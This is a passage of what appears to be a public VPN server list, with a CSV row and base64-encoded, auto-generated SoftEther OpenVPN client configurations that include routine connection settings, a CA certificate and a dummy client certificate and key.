aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyMTcuMTM4LjIxMi42MiA0NDMNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn771151831,106.243.71.229,1435124,44,43831859,Korea Republic of,KR,37,782545195,685142,22912218391790,2weeks,PC2's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxMDYuMjQzLjcxLjIyOSAxNzYxDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgSFRUUC9IVFRQUyBwcm94eSBzZXR0aW5nLg0KIyANCiMgT25seSBpZiB5b3UgaGF2ZSB0byB1c2UgdGhlIEludGVybmV0IHZpYSBhIHByb3h5LCB1bmNvbW1lbnQgdGhlIGJlbG93DQojIHR3byBsaW5lcyBhbmQgc3BlY2lmeSB0aGUgcHJveHkgYWRkcmVzcyBhbmQgdGhlIHBvcnQgbnVtYmVyLg0KIyBJbiB0aGUgY2FzZSBvZiB1c2luZyBwcm94eS1hdXRoZW50aWNhdGlvbiwgcmVmZXIgdGhlIE9wZW5WUE4gbWFudWFsLg0KDQo7aHR0cC1wcm94eS1yZXRyeQ0KO2h0dHAtcHJveHkgW3Byb3h5IHNlcnZlcl0gW3Byb3h5IHBvcnRdDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgZW5jcnlwdGlvbiBhbmQgYXV0aGVudGljYXRpb24gYWxnb3JpdGhtLg0KIyANCiMgRGVmYXVsdCBzZXR0aW5nIGlzIGdvb2QuIE1vZGlmeSBpdCBhcyB5b3UgcHJlZmVyLg0KIyBXaGVuIHlvdSBzcGVjaWZ5IGFuIHVuc3VwcG9ydGVkIGFsZ29yaXRobSwgdGhlIGVycm9yIHdpbGwgb2NjdXIuDQojIA0KIyBUaGUgc3VwcG9ydGVkIGFsZ29yaXRobXMgYXJlIGFzIGZvbGxvd3M6DQojICBjaXBoZXI6IFtOVUxMLUNJUEhFUl0gTlVMTCBBRVMtMTI4LUNCQyBBRVMtMTkyLUNCQyBBRVMtMjU2LUNCQyBCRi1DQkMNCiMgICAgICAgICAgQ0FTVC1DQkMgQ0FTVDUtQ0JDIERFUy1DQkMgREVTLUVERS1DQkMgREVTLUVERTMtQ0JDIERFU1gtQ0JDDQojICAgICAgICAgIFJDMi00MC1DQkMgUkMyLTY0LUNCQyBSQzItQ0JDIENBTUVMTElBLTEyOC1DQkMgQ0FNRUxMSUEtMTkyLUNCQyBDQU1FTExJQS0yNTYtQ0JDDQojICBkYXRhLWNpcGhlcnM6IHNhbWUgYXMgY2lwaGVyDQojICBhdXRoOiAgIFNIQSBTSEExIFNIQTI1NiBTSEEzODQgU0hBNTEyIE1ENSBNRDQgUk1EMTYwDQojDQojIE5vdGU6IFRvIHNvbHZlIE9wZW5WUE4gY29tcGF0aWJpbGl0eSBidWcNCiMgUmVjZW50IHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcCByZXF1aXJlIHNwZWNpZnlpbmcgdGhlICJkYXRhLWNpcGhlcnMiDQojIGZpZWxkIGluc3RlYWQgb2YgdGhlICJjaXBoZXIiIGZpZWxkLiBIb3dldmVyLCBvbGRlciB2ZXJzaW9ucyBvZiB0aGUgT3B